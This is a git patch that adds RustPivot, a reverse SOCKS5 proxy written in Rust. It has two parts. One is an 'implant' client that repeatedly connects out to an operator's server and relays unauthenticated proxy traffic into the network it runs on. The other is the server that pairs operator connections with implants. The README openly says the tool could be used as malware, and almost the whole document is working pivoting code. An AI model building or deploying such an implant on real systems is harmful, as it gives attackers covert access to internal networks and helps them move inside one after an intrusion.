From 2cd78cbd9fe747d993cac3aaef35d1e679e8bd07 Mon Sep 17 00:00:00 2001 From: deadjakk Date: Mon, 25 Jan 2021 15:17:15 -0600 Subject: [PATCH] github init --- Cargo.toml | 5 + README.md | 18 +++ client/Cargo.toml | 8 + client/README.md | 10 ++ client/src/lib.rs | 383 +++++++++++++++++++++++++++++++++++++++++++++ client/src/main.rs | 21 +++ server/Cargo.toml | 9 ++ server/README.md | 13 ++ server/src/main.rs | 130 +++++++++++++++ 9 files changed, 597 insertions(+) create mode 100644 Cargo.toml create mode 100755 README.md create mode 100755 client/Cargo.toml create mode 100755 client/README.md create mode 100755 client/src/lib.rs create mode 100755 client/src/main.rs create mode 100755 server/Cargo.toml create mode 100644 server/README.md create mode 100755 server/src/main.rs diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..d5c1551 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,5 @@ +[workspace] +members=[ + "client", + "server" +] diff --git a/README.md b/README.md new file mode 100755 index 0000000..a4d6f09 --- /dev/null +++ b/README.md @@ -0,0 +1,18 @@ +# RustPivot + +This is a reverse socks proxy written in Rust, +the SOCKS5 code is largely implemented from the +code from https://github.com/ajmwagar/merino. +References have been remove so as not to associate the original +oracle repo with what could effectively be used as malware. + +This is the first iteration of a larger project for private use, placed here +for community reference, usage, etc, as I had not seen a reverse socks proxy +yet written in Rust. That said, unless there are some critical bugs, +I likely will not be updating this project. + +Further information on building and using this tool can be found in each +component's respective README.md files. [here](server/README.md) and [here](implant/README.md). + +Rustup/Cargo is required to build these, information for installing these can be located [here](https://www.rust-lang.org/tools/install). + diff --git a/client/Cargo.toml b/client/Cargo.toml new file mode 100755 index 0000000..d2aef96 --- /dev/null +++ b/client/Cargo.toml @@ -0,0 +1,8 @@ +[package] +name = "client" +version = "0.0.2" +description = "A reverse SOCKS5 Proxy client written in Rust" +readme = "README.md" +edition = "2018" + +[dependencies] diff --git a/client/README.md b/client/README.md new file mode 100755 index 0000000..69fa8b9 --- /dev/null +++ b/client/README.md @@ -0,0 +1,10 @@ +# RustPivot Implant + +Requires the rustup/cargo to build the binary +First edit the 'port' and 'ip' variables in src/main.rs to match the backend +address configured for server. +Then build with: +cargo build --release --bin implant + +Note: it will build for whatever operating system it is compiled on unless +specified otherwise via the --target flag diff --git a/client/src/lib.rs b/client/src/lib.rs new file mode 100755 index 0000000..499aab9 --- /dev/null +++ b/client/src/lib.rs @@ -0,0 +1,383 @@ +#![forbid(unsafe_code)] +use std::io::prelude::*; +use std::time::Duration; +use std::io::copy; +use std::net::{Shutdown, TcpStream, SocketAddr, SocketAddrV4, SocketAddrV6, Ipv4Addr, Ipv6Addr, ToSocketAddrs}; +use std::{thread}; + +type Result = std::result::Result>; + +/// Version of socks +const SOCKS_VERSION: u8 = 0x05; + +const RESERVED: u8 = 0x00; + +#[derive(Clone,Debug, PartialEq)] +pub struct User { + pub username: String, + password: String +} + + +#[derive(Debug)] +/// Possible SOCKS5 Response Codes +enum ResponseCode { + Success = 0x00, +} + +/// DST.addr variant types +#[derive(PartialEq)] +enum AddrType { + V4 = 0x01, + Domain = 0x03, + V6 = 0x04, +} + +impl AddrType { + /// Parse Byte to Command + fn from(n: usize) -> Option { + match n { + 1 => Some(AddrType::V4), + 3 => Some(AddrType::Domain), + 4 => Some(AddrType::V6), + _ => None + } + } +} + +/// SOCK5 CMD Type +#[derive(Debug)] +enum SockCommand { + Connect = 0x01, + Bind = 0x02, + UdpAssosiate = 0x3 +} + +impl SockCommand { + /// Parse Byte to Command + fn from(n: usize) -> Option { + match n { + 1 => Some(SockCommand::Connect), + 2 => Some(SockCommand::Bind), + 3 => Some(SockCommand::UdpAssosiate), + _ => None + } + } +} + + +/// Client Authentication Methods +pub enum AuthMethods { + /// No Authentication + NoAuth = 0x00, + // GssApi = 0x01, + /// Authenticate with a username / password + UserPass = 0x02, + /// Cannot authenticate + NoMethods = 0xFF +} + +pub struct Client { + ip: String, + port: u16, + auth_methods: Vec +} + +impl Client { + pub fn new(port: u16, ip: &str, auth_methods: Vec) -> Result { + Ok( Client{ + ip: ip.to_string(), + port, + auth_methods, + }) + } + + pub fn serve(&mut self) -> Result<()> { + loop { + match TcpStream::connect((&self.ip[..],self.port)){ + Ok(stream) => { + let mut client = SOCKClient::new( + stream, + self.auth_methods.clone() + ); + println!("+"); + match client.init() { + Ok(_) => { + } + Err(_) =>() + }; + } + _=> { + println!("-"); + thread::sleep(Duration::from_millis(1000)); + } + } + + } + } +} + +struct SOCKClient { + stream: TcpStream, + auth_nmethods: u8, + auth_methods: Vec, + socks_version: u8 +} + +impl SOCKClient { + /// Create a new SOCKClient + pub fn new(stream: TcpStream, auth_methods: Vec) -> Self { + SOCKClient { + stream, + auth_nmethods: 0, + socks_version: 0, + auth_methods + } + } + + /// Shutdown a client + pub fn shutdown(&mut self) -> Result<()> { + self.stream.shutdown(Shutdown::Both)?; + Ok(()) + } + + fn init(&mut self) -> Result<()> { + // perform the preflight check + // this is handled by clients_server, client side proxy + // code never sees this take place + let mut preflight_buf = [0x22,0x44]; + self.stream.write_all(&mut preflight_buf)?; + + // Actual SOCKS prcedure beginss + let mut header = [0u8; 2]; + // Read a byte from the stream and determine the version being requested + self.stream.read_exact(&mut header)?; + + self.socks_version = header[0]; + self.auth_nmethods = header[1]; + + //trace!("Version: {} Auth nmethods: {}", self.socks_version, self.auth_nmethods); + + // Handle SOCKS4 requests + if header[0] != SOCKS_VERSION { + //warn!("Init: Unsupported version: SOCKS{}", self.socks_version); + self.shutdown()?; + } + // Valid SOCKS5 + else { + // Authenticate w/ client + self.auth()?; + // Handle requests + self.handle_client()?; + } + + Ok(()) + } + + fn auth(&mut self) -> Result<()> { + //debug!("Authenticating w/ {}", self.stream.peer_addr()?.ip()); + // Get valid auth methods + let methods = self.get_avalible_methods()?; + //trace!("methods: {:?}", methods); + + let mut response = [0u8; 2]; + + // Set the version in the response + response[0] = SOCKS_VERSION; + + if methods.contains(&(AuthMethods::NoAuth as u8)) { + // set the default auth method (no auth) + response[1] = AuthMethods::NoAuth as u8; + self.stream.write_all(&response)?; + Ok(()) + } + else { + response[1] = AuthMethods::NoMethods as u8; + self.stream.write_all(&response)?; + self.shutdown()?; + Err(From::from("..")) + } + + } + + /// Handles a client + pub fn handle_client(&mut self) -> Result<()> { + let req = SOCKSReq::from_stream(&mut self.stream)?; + + if req.addr_type == AddrType::V6 { + } + + + match req.command { + SockCommand::Connect => { + let sock_addr = addr_to_socket(&req.addr_type, &req.addr, req.port)?; + let target = TcpStream::connect(&sock_addr[..])?; + + self.stream.write_all(&[SOCKS_VERSION, ResponseCode::Success as u8, RESERVED, 1, 127, 0, 0, 1, 0, 0]).unwrap(); + + let mut outbound_in = target.try_clone()?; + let mut outbound_out = target.try_clone()?; + let mut inbound_in = self.stream.try_clone()?; + let mut inbound_out = self.stream.try_clone()?; + + + // Download Thread + thread::spawn(move || { + match copy(&mut outbound_in, &mut inbound_out){ + Ok(_) => { + outbound_in.shutdown(Shutdown::Read).unwrap_or(()); + inbound_out.shutdown(Shutdown::Write).unwrap_or(()); + } + Err(_) => (), + } + }); + + // Upload Thread + thread::spawn(move || { + match copy(&mut inbound_in, &mut outbound_out){ + Ok(_) =>{ + inbound_in.shutdown(Shutdown::Read).unwrap_or(()); + outbound_out.shutdown(Shutdown::Write).unwrap_or(()); + } + Err(_) => (), + } + }); + + + }, + SockCommand::Bind => { }, + SockCommand::UdpAssosiate => { }, + } + + Ok(()) + } + + /// Return the avalible methods based on `self.auth_nmethods` + fn get_avalible_methods(&mut self) -> Result> { + let mut methods: Vec = Vec::with_capacity(self.auth_nmethods as usize); + for _ in 0..self.auth_nmethods { + let mut method = [0u8; 1]; + self.stream.read_exact(&mut method)?; + if self.auth_methods.contains(&method[0]) { + methods.append(&mut method.to_vec()); + } + } + Ok(methods) + } +} + +/// Convert an address and AddrType to a SocketAddr +fn addr_to_socket(addr_type: &AddrType, addr: &[u8], port: u16) -> Result> { + match addr_type { + AddrType::V6 => { + let new_addr = (0..8).map(|x| { + (u16::from(addr[(x * 2)]) << 8) | u16::from(addr[(x * 2) + 1]) + }).collect::>(); + + + Ok(vec![SocketAddr::from( + SocketAddrV6::new( + Ipv6Addr::new( + new_addr[0], new_addr[1], new_addr[2], new_addr[3], new_addr[4], new_addr[5], new_addr[6], new_addr[7]), + port, 0, 0) + )]) + }, + AddrType::V4 => { + Ok(vec![SocketAddr::from(SocketAddrV4::new(Ipv4Addr::new(addr[0], addr[1], addr[2], addr[3]), port))]) + }, + AddrType::Domain => { + let mut domain = String::from_utf8_lossy(&addr[..]).to_string(); + domain.push_str(&":"); + domain.push_str(&port.to_string()); + + Ok(domain.to_socket_addrs().unwrap().collect()) + } + + } +} + + +/// Proxy User Request +struct SOCKSReq { + pub version: u8, + pub command: SockCommand, + pub addr_type: AddrType, + pub addr: Vec, + pub port: u16 +} + +impl SOCKSReq { + /// Parse a SOCKS Req from a TcpStream + fn from_stream(stream: &mut TcpStream) -> Result { + let mut packet = [0u8; 4]; + // Read a byte from the stream and determine the version being requested + stream.read_exact(&mut packet)?; + + if packet[0] != SOCKS_VERSION { + stream.shutdown(Shutdown::Both)?; + } + + // Get command + let mut command: SockCommand = SockCommand::Connect; + match SockCommand::from(packet[1] as usize) { + Some(com) => { + command = com; + }, + None => { + stream.shutdown(Shutdown::Both)?; + } + }; + + // DST.address + let mut addr_type: AddrType = AddrType::V6; + match AddrType::from(packet[3] as usize) { + Some(addr) => { + addr_type = addr; + }, + None => { + stream.shutdown(Shutdown::Both)?; + } + }; + + // Get Addr from addr_type and stream + let addr: Result> = match addr_type { + AddrType::Domain => { + let mut dlen = [0u8; 1]; + stream.read_exact(&mut dlen)?; + + let mut domain = vec![0u8; dlen[0] as usize]; + stream.read_exact(&mut domain)?; + + Ok(domain) + }, + AddrType::V4 => { + let mut addr = [0u8; 4]; + stream.read_exact(&mut addr)?; + Ok(addr.to_vec()) + }, + AddrType::V6 => { + let mut addr = [0u8; 16]; + stream.read_exact(&mut addr)?; + Ok(addr.to_vec()) + } + }; + + let addr = addr?; + + // read DST.port + let mut port = [0u8; 2]; + stream.read_exact(&mut port)?; + + // Merge two u8s into u16 + let port = (u16::from(port[0]) << 8) | u16::from(port[1]); + + // Return parsed request + Ok(SOCKSReq { + version: packet[0], + command, + addr_type, + addr, + port + }) + } +} diff --git a/client/src/main.rs b/client/src/main.rs new file mode 100755 index 0000000..3ab4fdb --- /dev/null +++ b/client/src/main.rs @@ -0,0 +1,21 @@ +use std::error::Error; +use client::*; + +// base socks code sourced from https://github.com/ajmwagar/merino, +// with modifications by @deadjakk + +fn main() -> Result<(), Box> { + let ip = "localhost"; // change this to remote server + let port = 3030; // ditto + let mut auth_methods: Vec = Vec::new(); + // Allow unauthenticated connections + auth_methods.push(client::AuthMethods::NoAuth as u8); + let mut client = Client::new(port, ip, auth_methods)?; + + loop { + match client.serve(){ + Ok(_) => (), + Err(e) => println!("{:?}",e), + }; + } +} diff --git a/server/Cargo.toml b/server/Cargo.toml new file mode 100755 index 0000000..ea41152 --- /dev/null +++ b/server/Cargo.toml @@ -0,0 +1,9 @@ +[package] +name = "server" +version = "0.1.0" +authors = ["deadjakk "] +edition = "2018" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] diff --git a/server/README.md b/server/README.md new file mode 100644 index 0000000..003ee2f --- /dev/null +++ b/server/README.md @@ -0,0 +1,13 @@ +# RustPivot Server + +This should be compiled and run on the server that is +receiving the connection from the RustPivot client. + +Build: +`cargo b --bin server --release` + +Usage: +`./target/release/server 127.0.0.1:2020 0.0.0.0:3030` + +There is no interaction with this server, just information +regarding the state of the socks communication. diff --git a/server/src/main.rs b/server/src/main.rs new file mode 100755 index 0000000..0778016 --- /dev/null +++ b/server/src/main.rs @@ -0,0 +1,130 @@ +use std::env; +use std::io::copy; +use std::time::Duration; +use std::io::prelude::*; +use std::sync::{mpsc::channel,mpsc::Receiver,mpsc::Sender}; +use std::{thread}; +use std::net::{Shutdown, TcpStream, TcpListener}; +type Result = std::result::Result>; + +fn main(){ + + // create channels in which to store stream + let (streams_t, streams_r) : (Sender, Receiver) = channel(); + + // create two listeners, one for socks clients + let frontend = env::args().nth(1) + .expect("first arg not given, usage: "); + let backend = env::args().nth(2) + .expect("second arg not given, usage: "); + println!("set socks5 proxy to {} to connect", frontend); + + thread::spawn(move || { + + // create the listener for the connection from the connecting + let listener = TcpListener::bind(backend).unwrap(); + + loop { + match listener.accept(){ + Ok((stream,addr)) => { + println!("received reverse proxy connection from : {:?}",addr); + if let Err(e) = streams_t.send(stream) { + println!("error channeling socket :{:?}",e); + continue; + } + } + _ => (), + } + + } + }); + + let listener = TcpListener::bind(frontend).unwrap(); + loop { + match listener.accept(){ + Ok((mut fstream,addr)) => { + println!("received client connection from: {:?}",addr); + + match streams_r.recv_timeout(Duration::from_millis(1000)){ + Ok(mut bstream) => { + // validate the socket is still alive before handing it off + match validate_stream(&mut bstream) { + Ok(_) => { + // stream is valid, move copy the fd + handle_streams(&mut fstream,&mut bstream); + } + Err(e) => { + // in case there are more in the channel + println!("error validating sock:{:?}",e); + if let Err(e) = bstream.shutdown(Shutdown::Both){ + println!("error, shutting backend socket: {:?}", e); + continue; + } + } + } + } + _=> { // no back end stream available, closing socket + if let Err(e) = fstream.shutdown(Shutdown::Both){ + println!("error, shutting client socket: {:?}", e); + } + } + } + } + _ => (), + } + + } + +} + +fn validate_stream(bstream: &mut TcpStream) -> Result<()> { + let mut read_buf = [0u8,2]; + bstream.read_exact(&mut read_buf)?; + match &read_buf { + &[0x22,0x44] => { + // 'preflight' check + Ok(()) + } + _ =>{ + Err(From::from("preflight message received was incorrect")) + } + } +} + +fn handle_streams(fstream: &mut TcpStream, bstream: &mut TcpStream) { + + // Copy it all + let mut outbound_in = bstream.try_clone().expect("failed to clone socket"); + let mut outbound_out = bstream.try_clone().expect("failed to clone socket"); + let mut inbound_in = fstream.try_clone().expect("failed to clone socket"); + let mut inbound_out = fstream.try_clone().expect("failed to clone socket"); + + // if alive, copy socks together in new threads + thread::spawn(move || { + match copy(&mut outbound_in, &mut inbound_out){ + Ok(_)=>{ + // these are GOING to throw errors, so just unwrapping + outbound_in.shutdown(Shutdown::Read).unwrap_or(()); + inbound_out.shutdown(Shutdown::Write).unwrap_or(()); + } + Err(_) => { + println!("failed to perform the copy on sockets."); + } + } + }); + + // Upload Thread + thread::spawn(move || { + match copy(&mut inbound_in, &mut outbound_out) { + Ok(_) => { + // these are GOING to throw errors, so just unwrapping + inbound_in.shutdown(Shutdown::Read).unwrap_or(()); + outbound_out.shutdown(Shutdown::Write).unwrap_or(()); + } + Err(_) => { + println!("failed to perform the copy on sockets.."); + } + } + }); + +}